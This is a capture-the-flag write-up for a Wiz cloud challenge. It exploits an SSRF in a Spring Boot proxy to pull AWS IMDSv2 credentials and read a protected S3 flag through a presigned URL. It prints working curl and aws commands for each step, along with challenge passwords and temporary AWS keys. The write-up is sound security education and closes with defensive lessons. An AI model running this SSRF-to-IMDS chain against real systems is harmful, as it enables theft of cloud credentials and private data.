Wiz CTF June 2025: Perimeter Leak - A SSRF & AWS Credential Escalation
Challenge Overview
This challenge simulates the endgame of a cloud breach: server-level access exists, but the target data sits behind an AWS S3 data perimeter. The core SSRF vulnerability is a Spring Boot proxy endpoint that blindly forwards requests, including to the Instance Metadata Service. In production, IMDS-sourced IAM credentials are exactly what data perimeters fail to account for, making an unfiltered proxy endpoint a reliable bypass.
Vulnerability Exploited
Server-Side Request Forgery (SSRF) combined with:
- AWS Instance Metadata Service (IMDSv2) access
- S3 bucket policy bypass via trusted-principal routing
- Presigned URL generation
Attack Steps
1. Endpoint Discovery
First, I mapped the available endpoints using Spring Boot Actuator:
curl -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/mappings
This revealed the vulnerable /proxy endpoint:
"patterns": [ "/proxy" ],
"params": [ { "name": "url" } ],
"handler": "challenge.Application#proxy(String)"
2. AWS Metadata Access
Next, I exploited the SSRF to access the AWS Instance Metadata Service:
# Get metadata token
curl -u ctf:88sPVWyC2P3p \
-X PUT \
"https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
Two non-obvious behaviors made this work: the proxy forwarded the HTTP method verbatim (sending PUT to IMDS rather than defaulting to GET), and it blindly forwarded all incoming request headers — including X-aws-ec2-metadata-token-ttl-seconds — to the upstream target. Both behaviors are required for the IMDSv2 token flow to succeed. In a less permissive proxy implementation, this entire path would be blocked.
# Retrieve IAM role name
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: AQAEABCrJRHxImsxH1JVhUFrWPUuZSFBVBq6ShBgOv8IpfjYeeNY1g=="
Result: challenge01-5592368
3. AWS Credentials Extraction
Using the role name, I extracted temporary AWS credentials:
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368" \
-H "X-aws-ec2-metadata-token: AQAEABCrJRHxImsxH1JVhUFrWPUuZSFBVBq6ShBgOv8IpfjYeeNY1g=="
This returned temporary AWS credentials including:
- Access Key ID:
ASIARK7LBOHXDFXXHGYE - Secret Access Key:
HtRUNKtijoKBAcec9fi0d5JGD8OG2fnjLG4lYSnp - Session Token:
[truncated for brevity]
4. S3 Bucket Exploration
With the credentials, I explored the S3 bucket:
aws s3 ls s3://challenge01-470f711 --profile temp-creds
# Result: PRE private/ and hello.txt
aws s3 ls s3://challenge01-470f711/private/ --profile temp-creds
# Result: flag.txt
5. Bypass Attempt #1: Direct Access (Failed)
Direct access to the flag was blocked by bucket policy:
aws s3 cp s3://challenge01-470f711/private/flag.txt ./ --profile temp-creds
# Result: fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
6. Bypass Technique: Presigned URL + SSRF
I generated a presigned URL for the protected file:
aws s3 presign s3://challenge01-470f711/private/flag.txt --profile temp-creds
Then used the SSRF vulnerability to access the presigned URL through the vulnerable proxy endpoint:
curl -u ctf:88sPVWyC2P3p \
"https://challenge01.cloud-champions.com/proxy?url=https%3A%2F%2Fchallenge01-470f711.s3.amazonaws.com%2Fprivate%2Fflag.txt%3F[URL-encoded-presigned-parameters]"
Key Takeaways
This challenge demonstrated a sophisticated attack chain combining:
- SSRF Discovery: Finding the vulnerable proxy endpoint through actuator mappings
- Cloud Metadata Abuse: Leveraging IMDSv2 to extract AWS credentials
- Policy Bypass: Using presigned URLs to satisfy the bucket policy — presigned URLs are not a general-purpose bypass of bucket policies; S3 still evaluates them against the policy. What made this work is that the URL was signed with the backend’s own credentials (which the bucket policy trusted) and the request was routed through the backend server via SSRF, so it appeared to originate from an authorized principal
- Request Routing: Using the original SSRF vulnerability to make the presigned request appear to come from the authorized backend server
The attack succeeded because:
- The proxy endpoint had no URL filtering
- IMDSv2 was accessible from the application
- The S3 bucket policy only denied direct external access, not requests from the backend server
- Presigned URLs were generated with the backend’s legitimate credentials
This highlights the importance of:
- Strict input validation on proxy endpoints
- Proper IMDSv2 security configurations
- Comprehensive S3 bucket policies that account for different attack vectors
- Network segmentation and least privilege access controls